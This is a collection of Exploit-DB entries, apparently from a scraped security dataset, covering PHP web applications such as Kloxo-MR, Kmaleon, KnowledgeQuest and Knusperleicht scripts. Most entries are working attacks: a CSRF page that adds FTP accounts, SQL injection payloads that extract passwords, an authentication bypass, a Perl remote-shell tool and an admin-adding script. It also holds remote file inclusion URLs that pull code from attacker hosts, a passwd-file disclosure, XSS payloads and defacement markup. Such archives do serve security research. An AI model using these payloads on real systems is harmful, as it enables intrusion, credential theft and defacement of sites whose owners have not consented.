deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32666
Description: Kloxo-MR 6.5.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-04-02
Author: Necmettin COSKUN

Exploit:
# Exploit Title		:Kloxo-MR 6.5.0 CSRF Vulnerability
# Vendor Homepage	:https://github.com/mustafaramadhan/kloxo/tree/dev
# Version	:Kloxo-MR 6.5.0.f[PII_REDACTED]
# Tested on			:Centos 6.4
# Exploit Author	:Necmettin COSKUN =>@babayarisi
# Blog				:http://www.ncoskun.com http://www.grisapka.org
# Discovery date	:03/12/2014
# CVE				:N/A
 
Kloxo-MR is special edition (fork) of Kloxo with many features not existing on Kloxo official release (6.1.12+).
This fork named as Kloxo-MR (meaning 'Kloxo fork by Mustafa Ramadhan').
================
CSRF Vulnerability
 
Vulnerability
================
Kloxo-MR has lots of POST and GET based form applications like Kloxo stable , some inputs escaped from specialchars but inputs dont have any csrf protection or secret key 
So an remote attacker can manipulate this forms to add/delete mysql user,create/delete subdomains or add/delete ftp accounts.

Poc Exploit
================

 <html>
 <head><title>Kloxo-MR demo</title></head>
 <script type="text/javascript">
 function yurudi(){
		///////////////////////////////////////////////////////////
		//Kloxo-MR 6.5.0  CSRF Vulnerability		 //	
		//Author:Necmettin COSKUN => twitter.com/@babayarisi	 //
		//Blog: http://www.ncoskun.com | http://www.grisapka.org //
		///////////////////////////////////////////////////////////
		//Remote host
		var host="victim.com";	
		//New Ftp Username
		var username="demouser";
		//New Ftp Password
		var pass="12345678";
		//This creates new folder under admin dir. /admin/yourfolder
		var dir="demodirectory";
		//If necessary only modify http to https ;)
		var urlson="http://"+host+":7778//display.php?frm_o_cname=ftpuser&frm_dttype&frm_ftpuser_c_nname="+username+"&frm_ftpuser_c_complete_name_f=--direct--&frm_ftpuser_c_password="+pass+"&frm_confirm_password="+pass+"&frm_ftpuser_c_directory="+dir+"&frm_ftpuser_c_ftp_disk_usage&frm_action=add";

		document.getElementById('demoexploit').src=urlson;
}
 </script>
 <body onload="yurudi();">
 <img id="demoexploit" src=""></img>
 </body>
 </html>
 
 
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
Exploit-DB #50499
Description: Kmaleon 1.1.0.205 - 'tipocomb' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-11-08
Author: Amel BOUZIANE-LEBLOND

Exploit:
# Exploit Title: Kmaleon 1.1.0.205 - 'tipocomb' SQL Injection (Authenticated)
# Google Dork: intitle: "Inicio de Sesión - Kmaleon"
# Date: 2021-11-05
# Exploit Author: Amel BOUZIANE-LEBLOND
# Vendor Homepage: https://www.levelprograms.com
# Software Link: https://www.levelprograms.com/kmaleon-abogados/
# Version: v1.1.0.205
# Tested on: Linux

# Description:
# The Kmaleon application from levelprogram is vulnerable to
# SQL injection via the 'tipocomb' parameter on the kmaleonW.php

==================== 1. SQLi ====================

http://127.0.0.1/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=[SQLI]&isgroup=true

The 'tipocomb' parameter is vulnerable to SQL injection.

GET parameter 'tipocomb' is vulnerable.

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb=-9144 OR 6836=6836&isgroup=true

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 8426 FROM(SELECT COUNT(*),CONCAT(0x7176716b71,(SELECT (ELT(8426=8426,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&isgroup=true

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: http://localhost/kmaleonW.php?c=age&a=doc&usuario=1&fechain=2021-11-05&fechafin=2021-11-05&tipocomb= OR (SELECT 2738 FROM (SELECT(SLEEP(5)))EYSv)&isgroup=true
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
Exploit-DB #42042
Description: KMCIS CaseAware - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-05-20
Author: justpentest

Exploit:
# Exploit Title: CaseAware Cross Site Scripting Vulnerability
# Date: 20th May 2017
# Exploit Author: justpentest
# Vendor Homepage: https://caseaware.com/
# Version: All the versions
# Contact: transform2secure@gmail.com
# CVE : 2017-5631

Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle

1) Description:
An issue with respect to input sanitization was discovered in KMCIS
CaseAware. Reflected cross site scripting is present in the user parameter
(i.e., "usr") that is transmitted in the login.php query string. So
bascially username parameter is vulnerable to XSS.

2) Exploit:

https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
----------------------------------------------------------------------------------------

3) References:

https://www.openbugbounty.org/incidents/228262/
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle
Exploit-DB #27978
Description: Kmita FAQ 1.0 - 'index.php?catid' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-05
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18282/info
 
Kmita FAQ is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/index.php?catid=[SQL]
Exploit-DB #27977
Description: Kmita FAQ 1.0 - 'search.php?q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-05
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18282/info

Kmita FAQ is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/search.php?q=[XSS]
Exploit-DB #4679
Description: KML share 1.1 - 'region.php?layer' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-11-29
Author: GoLd_M

Exploit:
KML share 1.1 (region.php layer)Remote File Disclosure Vulnerability
Script : http://sourceforge.net/project/showfiles.php?group_id=177958
POC : region.php?layer=../../../../../../../etc/passwd%00

# milw0rm.com [2007-11-29]
Exploit-DB #21956
Description: KMMail 1.0 - E-Mail HTML Injection
Type: webapps
Platform: php
Date: 2002-10-21
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/6013/info

kmMail does not sufficiently sanitize HTML and script code from the body of e-mail messages. As a result, an attacker may send a malicious message to a user of kmMail that includes arbitrary HTML and script code.

This may allow an attacker to steal cookie-based authentication credentials from users of the webmail system. Other attacks are also possible.

<b onMouseOver="alert(document.location)">bolder</b>
Exploit-DB #1728
Description: Knowledge Base Mod 2.0.2 - 'phpBB' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-29
Author: [Oo]

Exploit:
Title: Knowledge Base Mod for PHPbb <= 2.0.2 remote file inclusion
URL: http://www.phpbb2.de/dload.php?action=file&file_id=538
Dork: "Powered by Knowledge Base"
Credits: [Oo]

Exploit: /includes/kb_constants.php?module_root_path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-04-29]
Exploit-DB #1587
Description: KnowledgebasePublisher 1.2 - 'Include' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-03-15
Author: uid0

Exploit:
#!/usr/bin/perl
##
# KnowledgebasePublisher 1.2 Remote Code Execution Exploit
# Bug Found By uid0
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl knowledgebase.pl <location of KnowledgebasePublisher> <cmd shell location <cmd shell variable>
#
# perl knowledgebase.pl http://site.com/knowledgebase/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, and everyone else!
#
# special shout to [ill]will! come back soon from jail!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
	print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'client/faq_1/PageController.php?dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
	{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)


{
	$finreturn = $1;
	$finreturn=~ tr/[ê]/[\n]/;
	print "\r\n$finreturn\n\r";
	last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *KnowledgebasePublisher 1.2 Remote Code Execution Exploit by ExploiterCode.com*\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: knowledgebase.pl <Site> <cmd shell> <cmd variable>\r\n\n";
 print " <Site> - Full path to KnowledgebasePublisher ex: http://www.site.com/knowledge/ \r\n";
 print " <cmd shell> - Path to Cmd Shell e.g http://www.site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "		         Bug Found by uid0\r\n";
 print "	www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-03-15]
Exploit-DB #23476
Description: KnowledgeBuilder 2.0/2.1/3.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-12-24
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/9292/info

KnowledgeBuilder is prone to a remote file include vulnerability. An attacker could exploit this to cause hostile PHP scripts to be included and executed from a remote server. This would occur in the security context of the web server hosting the software. 

http://www.example.com/kb/index.php?page=http://[attacker's_host]/[attacker's_script]
Exploit-DB #2364
Description: KnowledgeBuilder 2.2 - 'visEdit_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-13
Author: igi

Exploit:
+--------------------------------------------------------------------
+
+  KnowledgeBuilder.v2.2.PHP.NULL-WDYL  Remote File Inclusion
+
+-------------------------------------------------------------------
+
+ Version ...........: KnowledgeBuilder.v2.2.PHP.NULL-WDYL
+ cms download ......: http://warez.gtasoft.ru/skripts/KnowledgeBuilder.v2.2.PHP.NULL-WDYL.zip
+ Class .............: Remote File Inclusion
+ Found by ..........: igi
+ Contact ...........: hamidreza@mineduc.gov.rw
+
+--------------------------------------------------------------------
+--------------------------------------------------------------------

+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<?php
// ================================================
// Main control class
// ================================================

include $visEdit_root.'config/visEdit_control.config.php';
include $visEdit_root.'class/toolbars.class.php';
include $visEdit_root.'class/lang.class.php';
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

----------------------------------------------------------------------------
------
http://www.victom.com/admin/e_data/visEdit_control.class.php?visEdit_root=http://yourevil.com/r0x.dat.txt?cmd
----------------------------------------------------------------------------
--------

# milw0rm.com [2006-09-13]
Exploit-DB #5418
Description: KnowledgeQuest 2.5 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-04-09
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "-+------------------------------------------+-\n";
print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n";
print "-+------------------------------------------+-\n";
print "-+-     Discovered && Coded By t0pP8uzz    -+-\n";
print "-+-  This Exploit will craft a evilpacket  -+-\n";
print "-+-     which will add a admin account     -+-\n";
print "-+------------------------------------------+-\n";

print "Enter URL: ";
	chomp(my $url=<STDIN>);
	
print "Enter Username (you will login with this): ";
	chomp(my $usr=<STDIN>);

print "Enter Password (you will login with this): ";
	chomp(my $pwd=<STDIN>);

my $ua  = LWP::UserAgent->new( agent=> 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)' );
my $res = $ua->post( $url."/admincheck.php", {'username' => $usr, 'password' => $pwd, 'repas' => $pwd} );

if($res->is_success) {

	if($res->content =~ /taken by another user/i) { print "\n\nExploit Failed! Reason: username already taken!"; exit; }
	
	print "\n\nExploit Success! Login to ".$url."administratorlogin.php with username: ".$usr." and password: ".$pwd."\n";
}

# milw0rm.com [2008-04-09]
Exploit-DB #5421
Description: KnowledgeQuest 2.6 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-09
Author: Virangar Security

Exploit:
             ########################################################################
             #                                                                      #
             #    ...:::::KnowledgeQuest 2.6 SQL Injection Vulnerabilities ::::.... #           
             ########################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-------
vuln code in articletext.php:
line 13: $kqid = $HTTP_GET_VARS["kqid"];
......
line 17: $result = mysql_query("select DATE_FORMAT(postdate,'%m-%d-%y') as  postdate, DATE_FORMAT(reveiwdate,'%m-%d-%y') as reveiwdate, categoryid,title,text, attach, kqid, authorid from knowledgebase where kqid=" .$kqid.mysql_error());
###########
vuln code in articletextonly.php:
line 13: $kqid = $HTTP_GET_VARS["kqid"];
......
line 17:$result = mysql_query("select * from knowledgebase where kqid=" .$kqid.mysql_error());
--------
Exploits:
http://www.site.com/[patch]/articletextonly.php?kqid=-9999/**/union/**/select/**/1,2,3,loginid,password,6,7,8,9,10,11/**/from/**/login/*
http://www.site.com/[patch]/articletext.php?kqid=-999/**/union/**/select/**/1,2,3,loginid,password,6,7,8/**/from/**/login/*
--------------------------------
                                .::::admin Authentication bypass vuln::::.
vuln code in logincheck.php:
if(!empty($_POST['username']))
    {
        $username = $_POST['username'];
    }

    if(!empty($_POST['password']))
    {
        $password = $_POST['password'];
    }
...
...
...
$sql = "select * from login where loginid='". $username ."' and password='". $password . "'";
-----
Exploit:
User Name:admin ' or 1=1/*
Password :[whatever]
//you must login in administratorlogin.php ;)
--------------
young iranian h4ck3rz

# milw0rm.com [2008-04-09]
Exploit-DB #14622
Description: KnowledgeTree 3.5.2 Community Edition - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-08-11
Author: fdiskyou

Exploit:
# Exploit Title: KnowledgeTree 3.5.2 Community Edition Permanent XSS Vulnerability 
# Date: 2010-08-11
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Software Link: http://www.knowledgetree.com/products/community/download
# Version: 3.5.2 
# Notes: Fixed in the last version. 


Go to search box or search criteria, enter your javascript code and save your search. 
These searches can be shared with all the users enabling us to insert malicious javascript code.

POC:
Load http://localhost/dashboard.php or http://localhost/search2.php?action=searchResults in the textbox enter <script>alert('moo')</script> and save your search. 
Load saved searches to view result.
Exploit-DB #36543
Description: KnowledgeTree 3.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-11
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51373/info

KnowledgeTree is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

KnowledgeTree 3.7.0.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/login.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/admin.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/admin.php/%22onmouseover=alert%28document.cookie%29;%3E
http://www.example.com/preferences.php/%22onmouseover=alert%28document.cookie%29;%3E
Exploit-DB #28319
Description: Knusperleicht FAQ 1.0 Script - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: Kurdish Security

Exploit:
source: https://www.securityfocus.com/bid/19272/info

FAQ Script is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

This issue affects version 1.0; other versions may also be vulnerable.

http://www.example.com/[path]/index.php?faq_path=evilcode.txt?&cmd=id
Exploit-DB #28320
Description: Knusperleicht Guestbook 3.5 - 'GB_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: Kurdish Security

Exploit:
source: https://www.securityfocus.com/bid/19274/info

GuestBook is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[scriptpath]/index.php?GB_PATH=evilcode.txt?&cmd=id
Exploit-DB #28318
Description: Knusperleicht Quickie - 'Quick_Path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: Kurdish Security

Exploit:
source: https://www.securityfocus.com/bid/19271/info

Quickie is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

http://www.example.com/[path]/quickie.php?QUICK_PATH=evilcode.txt?&cmd=id
Exploit-DB #29294
Description: Knusperleicht Shoutbox 2.6 - 'Shout.php' HTML Injection
Type: webapps
Platform: php
Date: 2006-12-18
Author: IMHOT3B

Exploit:
source: https://www.securityfocus.com/bid/21637/info

Knusperleicht Shoutbox is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Version 2.6 is vulnerable; other versions may also be affected.

<html> <head><title>Cyber-Sabotage.Org</title></head> <body> <p align="center"><b>IMHOT3B </b></p> <p align="center"><b>Knusperleicht Shoutbox 2.6 Html .njaction Bug</b></p> <p align="center"><b><font size="4">Cyber-Sabotage.Org</font></b><br> </p> <p align="center"> <a href=" http://www.google.com.tr/search?hl=tr&q=intitle:"Knusperleicht+Shoutbox+2.6"&meta ="> For Searching Click Here Please</a><br> </p> <form name="form1" method="post" action="http://targer/shout.php"> Nick Name | Takma Ad:<p> <input type="text" name="sbNick" size="127" value="</table><h1><font color=#ff0000> Cyber-Sabotage.Org | CSDT ( Cyber Sabotage and Defacer ) TEAM </font></h1>" maxlength="900"><br> <input type="hidden" name="AdminNick" value="si"><br> Message | Mesaj:<br> <input type="text" name="sbKommentar" size="127" value="</table><h1><font color=#ff0000> Cyber-Sabotage.Org | CSDT ( Cyber Sabotage and Defacer ) TEAM </font></h1>"><br> <input type="submit" name="sbAbschicken" value="Send | Gonder" class="form"><br> </p> </form> <p><b>Alternatif Html Kodlar.:</b></p> <p><b><h1>Cyber-Sabotage.Org</h1></b></p> <p><b><font color="#FFFFFF"><div style=left:0px;top:0px;width:1000px;height:8000px;background-color:#000000;position:absolute><h1>Hacked By IMHOT3B<br>Cyber-Sabotage.Org&lt ;br></div></font></b></p> <p><b><iframe src="http://www.cyber-sabotage.org" borders="0"></iframe></b></p> <p><b><script>location.href="http://www.cyber-sabotage.org&quot ;;</script></b></p> <p><b><meta http-equiv="Refresh" content="0;url= http://www.cyber-sabotage.org"></b></p> </body></html>
Exploit-DB #23384
Description: Koch Roland Rolis Guestbook 1.0 - '$path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-11-17
Author: RusH security team

Exploit:
source: https://www.securityfocus.com/bid/9054/info

It has been reported that Rolis Guestbook may be vulnerable to an input validation issue that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system.

Rolis Guestbook version 1.0 has been reported to be prone to this issue, however other versions may be affected as well. 

http://www.example.com/rolis_book_path/insert.inc.php?path=http://hacker.com/